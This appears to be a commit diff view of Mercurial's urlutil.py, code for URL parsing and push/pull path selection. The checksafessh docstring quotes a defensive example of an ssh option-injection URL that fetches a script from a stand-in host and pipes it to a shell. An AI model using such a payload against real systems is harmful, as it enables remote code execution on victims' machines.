##// END OF EJS Templates
safehasattr: pass attribute name as string instead of bytes...
marmoute -
r51508:9e69d9d6 default
parent child Browse files
Show More
@@ -1,962 +1,962 b''
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from ..pycompat import (
12 from ..pycompat import (
13 getattr,
13 getattr,
14 setattr,
14 setattr,
15 )
15 )
16 from .. import (
16 from .. import (
17 encoding,
17 encoding,
18 error,
18 error,
19 pycompat,
19 pycompat,
20 urllibcompat,
20 urllibcompat,
21 )
21 )
22
22
23 from . import (
23 from . import (
24 stringutil,
24 stringutil,
25 )
25 )
26
26
27 from ..revlogutils import (
27 from ..revlogutils import (
28 constants as revlog_constants,
28 constants as revlog_constants,
29 )
29 )
30
30
31
31
32 if pycompat.TYPE_CHECKING:
32 if pycompat.TYPE_CHECKING:
33 from typing import (
33 from typing import (
34 Union,
34 Union,
35 )
35 )
36
36
37 urlreq = urllibcompat.urlreq
37 urlreq = urllibcompat.urlreq
38
38
39
39
40 def getport(port):
40 def getport(port):
41 # type: (Union[bytes, int]) -> int
41 # type: (Union[bytes, int]) -> int
42 """Return the port for a given network service.
42 """Return the port for a given network service.
43
43
44 If port is an integer, it's returned as is. If it's a string, it's
44 If port is an integer, it's returned as is. If it's a string, it's
45 looked up using socket.getservbyname(). If there's no matching
45 looked up using socket.getservbyname(). If there's no matching
46 service, error.Abort is raised.
46 service, error.Abort is raised.
47 """
47 """
48 try:
48 try:
49 return int(port)
49 return int(port)
50 except ValueError:
50 except ValueError:
51 pass
51 pass
52
52
53 try:
53 try:
54 return socket.getservbyname(pycompat.sysstr(port))
54 return socket.getservbyname(pycompat.sysstr(port))
55 except socket.error:
55 except socket.error:
56 raise error.Abort(
56 raise error.Abort(
57 _(b"no port number associated with service '%s'") % port
57 _(b"no port number associated with service '%s'") % port
58 )
58 )
59
59
60
60
61 class url:
61 class url:
62 r"""Reliable URL parser.
62 r"""Reliable URL parser.
63
63
64 This parses URLs and provides attributes for the following
64 This parses URLs and provides attributes for the following
65 components:
65 components:
66
66
67 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
67 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
68
68
69 Missing components are set to None. The only exception is
69 Missing components are set to None. The only exception is
70 fragment, which is set to '' if present but empty.
70 fragment, which is set to '' if present but empty.
71
71
72 If parsefragment is False, fragment is included in query. If
72 If parsefragment is False, fragment is included in query. If
73 parsequery is False, query is included in path. If both are
73 parsequery is False, query is included in path. If both are
74 False, both fragment and query are included in path.
74 False, both fragment and query are included in path.
75
75
76 See http://www.ietf.org/rfc/rfc2396.txt for more information.
76 See http://www.ietf.org/rfc/rfc2396.txt for more information.
77
77
78 Note that for backward compatibility reasons, bundle URLs do not
78 Note that for backward compatibility reasons, bundle URLs do not
79 take host names. That means 'bundle://../' has a path of '../'.
79 take host names. That means 'bundle://../' has a path of '../'.
80
80
81 Examples:
81 Examples:
82
82
83 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
83 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
84 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
84 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
85 >>> url(b'ssh://[::1]:2200//home/joe/repo')
85 >>> url(b'ssh://[::1]:2200//home/joe/repo')
86 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
86 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
87 >>> url(b'file:///home/joe/repo')
87 >>> url(b'file:///home/joe/repo')
88 <url scheme: 'file', path: '/home/joe/repo'>
88 <url scheme: 'file', path: '/home/joe/repo'>
89 >>> url(b'file:///c:/temp/foo/')
89 >>> url(b'file:///c:/temp/foo/')
90 <url scheme: 'file', path: 'c:/temp/foo/'>
90 <url scheme: 'file', path: 'c:/temp/foo/'>
91 >>> url(b'bundle:foo')
91 >>> url(b'bundle:foo')
92 <url scheme: 'bundle', path: 'foo'>
92 <url scheme: 'bundle', path: 'foo'>
93 >>> url(b'bundle://../foo')
93 >>> url(b'bundle://../foo')
94 <url scheme: 'bundle', path: '../foo'>
94 <url scheme: 'bundle', path: '../foo'>
95 >>> url(br'c:\foo\bar')
95 >>> url(br'c:\foo\bar')
96 <url path: 'c:\\foo\\bar'>
96 <url path: 'c:\\foo\\bar'>
97 >>> url(br'\\blah\blah\blah')
97 >>> url(br'\\blah\blah\blah')
98 <url path: '\\\\blah\\blah\\blah'>
98 <url path: '\\\\blah\\blah\\blah'>
99 >>> url(br'\\blah\blah\blah#baz')
99 >>> url(br'\\blah\blah\blah#baz')
100 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
100 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
101 >>> url(br'file:///C:\users\me')
101 >>> url(br'file:///C:\users\me')
102 <url scheme: 'file', path: 'C:\\users\\me'>
102 <url scheme: 'file', path: 'C:\\users\\me'>
103
103
104 Authentication credentials:
104 Authentication credentials:
105
105
106 >>> url(b'ssh://joe:xyz@x/repo')
106 >>> url(b'ssh://joe:xyz@x/repo')
107 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
107 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
108 >>> url(b'ssh://joe@x/repo')
108 >>> url(b'ssh://joe@x/repo')
109 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
109 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
110
110
111 Query strings and fragments:
111 Query strings and fragments:
112
112
113 >>> url(b'http://host/a?b#c')
113 >>> url(b'http://host/a?b#c')
114 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
114 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
115 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
115 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
116 <url scheme: 'http', host: 'host', path: 'a?b#c'>
116 <url scheme: 'http', host: 'host', path: 'a?b#c'>
117
117
118 Empty path:
118 Empty path:
119
119
120 >>> url(b'')
120 >>> url(b'')
121 <url path: ''>
121 <url path: ''>
122 >>> url(b'#a')
122 >>> url(b'#a')
123 <url path: '', fragment: 'a'>
123 <url path: '', fragment: 'a'>
124 >>> url(b'http://host/')
124 >>> url(b'http://host/')
125 <url scheme: 'http', host: 'host', path: ''>
125 <url scheme: 'http', host: 'host', path: ''>
126 >>> url(b'http://host/#a')
126 >>> url(b'http://host/#a')
127 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
127 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
128
128
129 Only scheme:
129 Only scheme:
130
130
131 >>> url(b'http:')
131 >>> url(b'http:')
132 <url scheme: 'http'>
132 <url scheme: 'http'>
133 """
133 """
134
134
135 _safechars = b"!~*'()+"
135 _safechars = b"!~*'()+"
136 _safepchars = b"/!~*'()+:\\"
136 _safepchars = b"/!~*'()+:\\"
137 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
137 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
138
138
139 def __init__(self, path, parsequery=True, parsefragment=True):
139 def __init__(self, path, parsequery=True, parsefragment=True):
140 # type: (bytes, bool, bool) -> None
140 # type: (bytes, bool, bool) -> None
141 # We slowly chomp away at path until we have only the path left
141 # We slowly chomp away at path until we have only the path left
142 self.scheme = self.user = self.passwd = self.host = None
142 self.scheme = self.user = self.passwd = self.host = None
143 self.port = self.path = self.query = self.fragment = None
143 self.port = self.path = self.query = self.fragment = None
144 self._localpath = True
144 self._localpath = True
145 self._hostport = b''
145 self._hostport = b''
146 self._origpath = path
146 self._origpath = path
147
147
148 if parsefragment and b'#' in path:
148 if parsefragment and b'#' in path:
149 path, self.fragment = path.split(b'#', 1)
149 path, self.fragment = path.split(b'#', 1)
150
150
151 # special case for Windows drive letters and UNC paths
151 # special case for Windows drive letters and UNC paths
152 if hasdriveletter(path) or path.startswith(b'\\\\'):
152 if hasdriveletter(path) or path.startswith(b'\\\\'):
153 self.path = path
153 self.path = path
154 return
154 return
155
155
156 # For compatibility reasons, we can't handle bundle paths as
156 # For compatibility reasons, we can't handle bundle paths as
157 # normal URLS
157 # normal URLS
158 if path.startswith(b'bundle:'):
158 if path.startswith(b'bundle:'):
159 self.scheme = b'bundle'
159 self.scheme = b'bundle'
160 path = path[7:]
160 path = path[7:]
161 if path.startswith(b'//'):
161 if path.startswith(b'//'):
162 path = path[2:]
162 path = path[2:]
163 self.path = path
163 self.path = path
164 return
164 return
165
165
166 if self._matchscheme(path):
166 if self._matchscheme(path):
167 parts = path.split(b':', 1)
167 parts = path.split(b':', 1)
168 if parts[0]:
168 if parts[0]:
169 self.scheme, path = parts
169 self.scheme, path = parts
170 self._localpath = False
170 self._localpath = False
171
171
172 if not path:
172 if not path:
173 path = None
173 path = None
174 if self._localpath:
174 if self._localpath:
175 self.path = b''
175 self.path = b''
176 return
176 return
177 else:
177 else:
178 if self._localpath:
178 if self._localpath:
179 self.path = path
179 self.path = path
180 return
180 return
181
181
182 if parsequery and b'?' in path:
182 if parsequery and b'?' in path:
183 path, self.query = path.split(b'?', 1)
183 path, self.query = path.split(b'?', 1)
184 if not path:
184 if not path:
185 path = None
185 path = None
186 if not self.query:
186 if not self.query:
187 self.query = None
187 self.query = None
188
188
189 # // is required to specify a host/authority
189 # // is required to specify a host/authority
190 if path and path.startswith(b'//'):
190 if path and path.startswith(b'//'):
191 parts = path[2:].split(b'/', 1)
191 parts = path[2:].split(b'/', 1)
192 if len(parts) > 1:
192 if len(parts) > 1:
193 self.host, path = parts
193 self.host, path = parts
194 else:
194 else:
195 self.host = parts[0]
195 self.host = parts[0]
196 path = None
196 path = None
197 if not self.host:
197 if not self.host:
198 self.host = None
198 self.host = None
199 # path of file:///d is /d
199 # path of file:///d is /d
200 # path of file:///d:/ is d:/, not /d:/
200 # path of file:///d:/ is d:/, not /d:/
201 if path and not hasdriveletter(path):
201 if path and not hasdriveletter(path):
202 path = b'/' + path
202 path = b'/' + path
203
203
204 if self.host and b'@' in self.host:
204 if self.host and b'@' in self.host:
205 self.user, self.host = self.host.rsplit(b'@', 1)
205 self.user, self.host = self.host.rsplit(b'@', 1)
206 if b':' in self.user:
206 if b':' in self.user:
207 self.user, self.passwd = self.user.split(b':', 1)
207 self.user, self.passwd = self.user.split(b':', 1)
208 if not self.host:
208 if not self.host:
209 self.host = None
209 self.host = None
210
210
211 # Don't split on colons in IPv6 addresses without ports
211 # Don't split on colons in IPv6 addresses without ports
212 if (
212 if (
213 self.host
213 self.host
214 and b':' in self.host
214 and b':' in self.host
215 and not (
215 and not (
216 self.host.startswith(b'[') and self.host.endswith(b']')
216 self.host.startswith(b'[') and self.host.endswith(b']')
217 )
217 )
218 ):
218 ):
219 self._hostport = self.host
219 self._hostport = self.host
220 self.host, self.port = self.host.rsplit(b':', 1)
220 self.host, self.port = self.host.rsplit(b':', 1)
221 if not self.host:
221 if not self.host:
222 self.host = None
222 self.host = None
223
223
224 if (
224 if (
225 self.host
225 self.host
226 and self.scheme == b'file'
226 and self.scheme == b'file'
227 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
227 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
228 ):
228 ):
229 raise error.Abort(
229 raise error.Abort(
230 _(b'file:// URLs can only refer to localhost')
230 _(b'file:// URLs can only refer to localhost')
231 )
231 )
232
232
233 self.path = path
233 self.path = path
234
234
235 # leave the query string escaped
235 # leave the query string escaped
236 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
236 for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'):
237 v = getattr(self, a)
237 v = getattr(self, a)
238 if v is not None:
238 if v is not None:
239 setattr(self, a, urlreq.unquote(v))
239 setattr(self, a, urlreq.unquote(v))
240
240
241 def copy(self):
241 def copy(self):
242 u = url(b'temporary useless value')
242 u = url(b'temporary useless value')
243 u.path = self.path
243 u.path = self.path
244 u.scheme = self.scheme
244 u.scheme = self.scheme
245 u.user = self.user
245 u.user = self.user
246 u.passwd = self.passwd
246 u.passwd = self.passwd
247 u.host = self.host
247 u.host = self.host
248 u.port = self.port
248 u.port = self.port
249 u.query = self.query
249 u.query = self.query
250 u.fragment = self.fragment
250 u.fragment = self.fragment
251 u._localpath = self._localpath
251 u._localpath = self._localpath
252 u._hostport = self._hostport
252 u._hostport = self._hostport
253 u._origpath = self._origpath
253 u._origpath = self._origpath
254 return u
254 return u
255
255
256 @encoding.strmethod
256 @encoding.strmethod
257 def __repr__(self):
257 def __repr__(self):
258 attrs = []
258 attrs = []
259 for a in (
259 for a in (
260 b'scheme',
260 b'scheme',
261 b'user',
261 b'user',
262 b'passwd',
262 b'passwd',
263 b'host',
263 b'host',
264 b'port',
264 b'port',
265 b'path',
265 b'path',
266 b'query',
266 b'query',
267 b'fragment',
267 b'fragment',
268 ):
268 ):
269 v = getattr(self, a)
269 v = getattr(self, a)
270 if v is not None:
270 if v is not None:
271 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
271 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
272 return b'<url %s>' % b', '.join(attrs)
272 return b'<url %s>' % b', '.join(attrs)
273
273
274 def __bytes__(self):
274 def __bytes__(self):
275 r"""Join the URL's components back into a URL string.
275 r"""Join the URL's components back into a URL string.
276
276
277 Examples:
277 Examples:
278
278
279 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
279 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
280 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
280 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
281 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
281 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
282 'http://user:pw@host:80/?foo=bar&baz=42'
282 'http://user:pw@host:80/?foo=bar&baz=42'
283 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
283 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
284 'http://user:pw@host:80/?foo=bar%3dbaz'
284 'http://user:pw@host:80/?foo=bar%3dbaz'
285 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
285 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
286 'ssh://user:pw@[::1]:2200//home/joe#'
286 'ssh://user:pw@[::1]:2200//home/joe#'
287 >>> bytes(url(b'http://localhost:80//'))
287 >>> bytes(url(b'http://localhost:80//'))
288 'http://localhost:80//'
288 'http://localhost:80//'
289 >>> bytes(url(b'http://localhost:80/'))
289 >>> bytes(url(b'http://localhost:80/'))
290 'http://localhost:80/'
290 'http://localhost:80/'
291 >>> bytes(url(b'http://localhost:80'))
291 >>> bytes(url(b'http://localhost:80'))
292 'http://localhost:80/'
292 'http://localhost:80/'
293 >>> bytes(url(b'bundle:foo'))
293 >>> bytes(url(b'bundle:foo'))
294 'bundle:foo'
294 'bundle:foo'
295 >>> bytes(url(b'bundle://../foo'))
295 >>> bytes(url(b'bundle://../foo'))
296 'bundle:../foo'
296 'bundle:../foo'
297 >>> bytes(url(b'path'))
297 >>> bytes(url(b'path'))
298 'path'
298 'path'
299 >>> bytes(url(b'file:///tmp/foo/bar'))
299 >>> bytes(url(b'file:///tmp/foo/bar'))
300 'file:///tmp/foo/bar'
300 'file:///tmp/foo/bar'
301 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
301 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
302 'file:///c:/tmp/foo/bar'
302 'file:///c:/tmp/foo/bar'
303 >>> print(url(br'bundle:foo\bar'))
303 >>> print(url(br'bundle:foo\bar'))
304 bundle:foo\bar
304 bundle:foo\bar
305 >>> print(url(br'file:///D:\data\hg'))
305 >>> print(url(br'file:///D:\data\hg'))
306 file:///D:\data\hg
306 file:///D:\data\hg
307 """
307 """
308 if self._localpath:
308 if self._localpath:
309 s = self.path
309 s = self.path
310 if self.scheme == b'bundle':
310 if self.scheme == b'bundle':
311 s = b'bundle:' + s
311 s = b'bundle:' + s
312 if self.fragment:
312 if self.fragment:
313 s += b'#' + self.fragment
313 s += b'#' + self.fragment
314 return s
314 return s
315
315
316 s = self.scheme + b':'
316 s = self.scheme + b':'
317 if self.user or self.passwd or self.host:
317 if self.user or self.passwd or self.host:
318 s += b'//'
318 s += b'//'
319 elif self.scheme and (
319 elif self.scheme and (
320 not self.path
320 not self.path
321 or self.path.startswith(b'/')
321 or self.path.startswith(b'/')
322 or hasdriveletter(self.path)
322 or hasdriveletter(self.path)
323 ):
323 ):
324 s += b'//'
324 s += b'//'
325 if hasdriveletter(self.path):
325 if hasdriveletter(self.path):
326 s += b'/'
326 s += b'/'
327 if self.user:
327 if self.user:
328 s += urlreq.quote(self.user, safe=self._safechars)
328 s += urlreq.quote(self.user, safe=self._safechars)
329 if self.passwd:
329 if self.passwd:
330 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
330 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
331 if self.user or self.passwd:
331 if self.user or self.passwd:
332 s += b'@'
332 s += b'@'
333 if self.host:
333 if self.host:
334 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
334 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
335 s += urlreq.quote(self.host)
335 s += urlreq.quote(self.host)
336 else:
336 else:
337 s += self.host
337 s += self.host
338 if self.port:
338 if self.port:
339 s += b':' + urlreq.quote(self.port)
339 s += b':' + urlreq.quote(self.port)
340 if self.host:
340 if self.host:
341 s += b'/'
341 s += b'/'
342 if self.path:
342 if self.path:
343 # TODO: similar to the query string, we should not unescape the
343 # TODO: similar to the query string, we should not unescape the
344 # path when we store it, the path might contain '%2f' = '/',
344 # path when we store it, the path might contain '%2f' = '/',
345 # which we should *not* escape.
345 # which we should *not* escape.
346 s += urlreq.quote(self.path, safe=self._safepchars)
346 s += urlreq.quote(self.path, safe=self._safepchars)
347 if self.query:
347 if self.query:
348 # we store the query in escaped form.
348 # we store the query in escaped form.
349 s += b'?' + self.query
349 s += b'?' + self.query
350 if self.fragment is not None:
350 if self.fragment is not None:
351 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
351 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
352 return s
352 return s
353
353
354 __str__ = encoding.strmethod(__bytes__)
354 __str__ = encoding.strmethod(__bytes__)
355
355
356 def authinfo(self):
356 def authinfo(self):
357 user, passwd = self.user, self.passwd
357 user, passwd = self.user, self.passwd
358 try:
358 try:
359 self.user, self.passwd = None, None
359 self.user, self.passwd = None, None
360 s = bytes(self)
360 s = bytes(self)
361 finally:
361 finally:
362 self.user, self.passwd = user, passwd
362 self.user, self.passwd = user, passwd
363 if not self.user:
363 if not self.user:
364 return (s, None)
364 return (s, None)
365 # authinfo[1] is passed to urllib2 password manager, and its
365 # authinfo[1] is passed to urllib2 password manager, and its
366 # URIs must not contain credentials. The host is passed in the
366 # URIs must not contain credentials. The host is passed in the
367 # URIs list because Python < 2.4.3 uses only that to search for
367 # URIs list because Python < 2.4.3 uses only that to search for
368 # a password.
368 # a password.
369 return (s, (None, (s, self.host), self.user, self.passwd or b''))
369 return (s, (None, (s, self.host), self.user, self.passwd or b''))
370
370
371 def isabs(self):
371 def isabs(self):
372 if self.scheme and self.scheme != b'file':
372 if self.scheme and self.scheme != b'file':
373 return True # remote URL
373 return True # remote URL
374 if hasdriveletter(self.path):
374 if hasdriveletter(self.path):
375 return True # absolute for our purposes - can't be joined()
375 return True # absolute for our purposes - can't be joined()
376 if self.path.startswith(br'\\'):
376 if self.path.startswith(br'\\'):
377 return True # Windows UNC path
377 return True # Windows UNC path
378 if self.path.startswith(b'/'):
378 if self.path.startswith(b'/'):
379 return True # POSIX-style
379 return True # POSIX-style
380 return False
380 return False
381
381
382 def localpath(self):
382 def localpath(self):
383 # type: () -> bytes
383 # type: () -> bytes
384 if self.scheme == b'file' or self.scheme == b'bundle':
384 if self.scheme == b'file' or self.scheme == b'bundle':
385 path = self.path or b'/'
385 path = self.path or b'/'
386 # For Windows, we need to promote hosts containing drive
386 # For Windows, we need to promote hosts containing drive
387 # letters to paths with drive letters.
387 # letters to paths with drive letters.
388 if hasdriveletter(self._hostport):
388 if hasdriveletter(self._hostport):
389 path = self._hostport + b'/' + self.path
389 path = self._hostport + b'/' + self.path
390 elif (
390 elif (
391 self.host is not None and self.path and not hasdriveletter(path)
391 self.host is not None and self.path and not hasdriveletter(path)
392 ):
392 ):
393 path = b'/' + path
393 path = b'/' + path
394 return path
394 return path
395 return self._origpath
395 return self._origpath
396
396
397 def islocal(self):
397 def islocal(self):
398 '''whether localpath will return something that posixfile can open'''
398 '''whether localpath will return something that posixfile can open'''
399 return (
399 return (
400 not self.scheme
400 not self.scheme
401 or self.scheme == b'file'
401 or self.scheme == b'file'
402 or self.scheme == b'bundle'
402 or self.scheme == b'bundle'
403 )
403 )
404
404
405
405
406 def hasscheme(path):
406 def hasscheme(path):
407 # type: (bytes) -> bool
407 # type: (bytes) -> bool
408 return bool(url(path).scheme) # cast to help pytype
408 return bool(url(path).scheme) # cast to help pytype
409
409
410
410
411 def hasdriveletter(path):
411 def hasdriveletter(path):
412 # type: (bytes) -> bool
412 # type: (bytes) -> bool
413 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
413 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
414
414
415
415
416 def urllocalpath(path):
416 def urllocalpath(path):
417 # type: (bytes) -> bytes
417 # type: (bytes) -> bytes
418 return url(path, parsequery=False, parsefragment=False).localpath()
418 return url(path, parsequery=False, parsefragment=False).localpath()
419
419
420
420
421 def checksafessh(path):
421 def checksafessh(path):
422 # type: (bytes) -> None
422 # type: (bytes) -> None
423 """check if a path / url is a potentially unsafe ssh exploit (SEC)
423 """check if a path / url is a potentially unsafe ssh exploit (SEC)
424
424
425 This is a sanity check for ssh urls. ssh will parse the first item as
425 This is a sanity check for ssh urls. ssh will parse the first item as
426 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
426 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
427 Let's prevent these potentially exploited urls entirely and warn the
427 Let's prevent these potentially exploited urls entirely and warn the
428 user.
428 user.
429
429
430 Raises an error.Abort when the url is unsafe.
430 Raises an error.Abort when the url is unsafe.
431 """
431 """
432 path = urlreq.unquote(path)
432 path = urlreq.unquote(path)
433 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
433 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
434 raise error.Abort(
434 raise error.Abort(
435 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
435 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
436 )
436 )
437
437
438
438
439 def hidepassword(u):
439 def hidepassword(u):
440 # type: (bytes) -> bytes
440 # type: (bytes) -> bytes
441 '''hide user credential in a url string'''
441 '''hide user credential in a url string'''
442 u = url(u)
442 u = url(u)
443 if u.passwd:
443 if u.passwd:
444 u.passwd = b'***'
444 u.passwd = b'***'
445 return bytes(u)
445 return bytes(u)
446
446
447
447
448 def removeauth(u):
448 def removeauth(u):
449 # type: (bytes) -> bytes
449 # type: (bytes) -> bytes
450 '''remove all authentication information from a url string'''
450 '''remove all authentication information from a url string'''
451 u = url(u)
451 u = url(u)
452 u.user = u.passwd = None
452 u.user = u.passwd = None
453 return bytes(u)
453 return bytes(u)
454
454
455
455
456 def list_paths(ui, target_path=None):
456 def list_paths(ui, target_path=None):
457 """list all the (name, paths) in the passed ui"""
457 """list all the (name, paths) in the passed ui"""
458 result = []
458 result = []
459 if target_path is None:
459 if target_path is None:
460 for name, paths in sorted(ui.paths.items()):
460 for name, paths in sorted(ui.paths.items()):
461 for p in paths:
461 for p in paths:
462 result.append((name, p))
462 result.append((name, p))
463
463
464 else:
464 else:
465 for path in ui.paths.get(target_path, []):
465 for path in ui.paths.get(target_path, []):
466 result.append((target_path, path))
466 result.append((target_path, path))
467 return result
467 return result
468
468
469
469
470 def try_path(ui, url):
470 def try_path(ui, url):
471 """try to build a path from a url
471 """try to build a path from a url
472
472
473 Return None if no Path could built.
473 Return None if no Path could built.
474 """
474 """
475 try:
475 try:
476 # we pass the ui instance are warning might need to be issued
476 # we pass the ui instance are warning might need to be issued
477 return path(ui, None, rawloc=url)
477 return path(ui, None, rawloc=url)
478 except ValueError:
478 except ValueError:
479 return None
479 return None
480
480
481
481
482 def get_push_paths(repo, ui, dests):
482 def get_push_paths(repo, ui, dests):
483 """yields all the `path` selected as push destination by `dests`"""
483 """yields all the `path` selected as push destination by `dests`"""
484 if not dests:
484 if not dests:
485 if b'default-push' in ui.paths:
485 if b'default-push' in ui.paths:
486 for p in ui.paths[b'default-push']:
486 for p in ui.paths[b'default-push']:
487 yield p.get_push_variant()
487 yield p.get_push_variant()
488 elif b'default' in ui.paths:
488 elif b'default' in ui.paths:
489 for p in ui.paths[b'default']:
489 for p in ui.paths[b'default']:
490 yield p.get_push_variant()
490 yield p.get_push_variant()
491 else:
491 else:
492 raise error.ConfigError(
492 raise error.ConfigError(
493 _(b'default repository not configured!'),
493 _(b'default repository not configured!'),
494 hint=_(b"see 'hg help config.paths'"),
494 hint=_(b"see 'hg help config.paths'"),
495 )
495 )
496 else:
496 else:
497 for dest in dests:
497 for dest in dests:
498 if dest in ui.paths:
498 if dest in ui.paths:
499 for p in ui.paths[dest]:
499 for p in ui.paths[dest]:
500 yield p.get_push_variant()
500 yield p.get_push_variant()
501 else:
501 else:
502 path = try_path(ui, dest)
502 path = try_path(ui, dest)
503 if path is None:
503 if path is None:
504 msg = _(b'repository %s does not exist')
504 msg = _(b'repository %s does not exist')
505 msg %= dest
505 msg %= dest
506 raise error.RepoError(msg)
506 raise error.RepoError(msg)
507 yield path.get_push_variant()
507 yield path.get_push_variant()
508
508
509
509
510 def get_pull_paths(repo, ui, sources):
510 def get_pull_paths(repo, ui, sources):
511 """yields all the `(path, branch)` selected as pull source by `sources`"""
511 """yields all the `(path, branch)` selected as pull source by `sources`"""
512 if not sources:
512 if not sources:
513 sources = [b'default']
513 sources = [b'default']
514 for source in sources:
514 for source in sources:
515 if source in ui.paths:
515 if source in ui.paths:
516 for p in ui.paths[source]:
516 for p in ui.paths[source]:
517 yield p
517 yield p
518 else:
518 else:
519 p = path(ui, None, source, validate_path=False)
519 p = path(ui, None, source, validate_path=False)
520 yield p
520 yield p
521
521
522
522
523 def get_unique_push_path(action, repo, ui, dest=None):
523 def get_unique_push_path(action, repo, ui, dest=None):
524 """return a unique `path` or abort if multiple are found
524 """return a unique `path` or abort if multiple are found
525
525
526 This is useful for command and action that does not support multiple
526 This is useful for command and action that does not support multiple
527 destination (yet).
527 destination (yet).
528
528
529 The `action` parameter will be used for the error message.
529 The `action` parameter will be used for the error message.
530 """
530 """
531 if dest is None:
531 if dest is None:
532 dests = []
532 dests = []
533 else:
533 else:
534 dests = [dest]
534 dests = [dest]
535 dests = list(get_push_paths(repo, ui, dests))
535 dests = list(get_push_paths(repo, ui, dests))
536 if len(dests) != 1:
536 if len(dests) != 1:
537 if dest is None:
537 if dest is None:
538 msg = _(
538 msg = _(
539 b"default path points to %d urls while %s only supports one"
539 b"default path points to %d urls while %s only supports one"
540 )
540 )
541 msg %= (len(dests), action)
541 msg %= (len(dests), action)
542 else:
542 else:
543 msg = _(b"path points to %d urls while %s only supports one: %s")
543 msg = _(b"path points to %d urls while %s only supports one: %s")
544 msg %= (len(dests), action, dest)
544 msg %= (len(dests), action, dest)
545 raise error.Abort(msg)
545 raise error.Abort(msg)
546 return dests[0]
546 return dests[0]
547
547
548
548
549 def get_unique_pull_path_obj(action, ui, source=None):
549 def get_unique_pull_path_obj(action, ui, source=None):
550 """return a unique `(path, branch)` or abort if multiple are found
550 """return a unique `(path, branch)` or abort if multiple are found
551
551
552 This is useful for command and action that does not support multiple
552 This is useful for command and action that does not support multiple
553 destination (yet).
553 destination (yet).
554
554
555 The `action` parameter will be used for the error message.
555 The `action` parameter will be used for the error message.
556
556
557 note: Ideally, this function would be called `get_unique_pull_path` to
557 note: Ideally, this function would be called `get_unique_pull_path` to
558 mirror the `get_unique_push_path`, but the name was already taken.
558 mirror the `get_unique_push_path`, but the name was already taken.
559 """
559 """
560 sources = []
560 sources = []
561 if source is not None:
561 if source is not None:
562 sources.append(source)
562 sources.append(source)
563
563
564 pull_paths = list(get_pull_paths(None, ui, sources=sources))
564 pull_paths = list(get_pull_paths(None, ui, sources=sources))
565 path_count = len(pull_paths)
565 path_count = len(pull_paths)
566 if path_count != 1:
566 if path_count != 1:
567 if source is None:
567 if source is None:
568 msg = _(
568 msg = _(
569 b"default path points to %d urls while %s only supports one"
569 b"default path points to %d urls while %s only supports one"
570 )
570 )
571 msg %= (path_count, action)
571 msg %= (path_count, action)
572 else:
572 else:
573 msg = _(b"path points to %d urls while %s only supports one: %s")
573 msg = _(b"path points to %d urls while %s only supports one: %s")
574 msg %= (path_count, action, source)
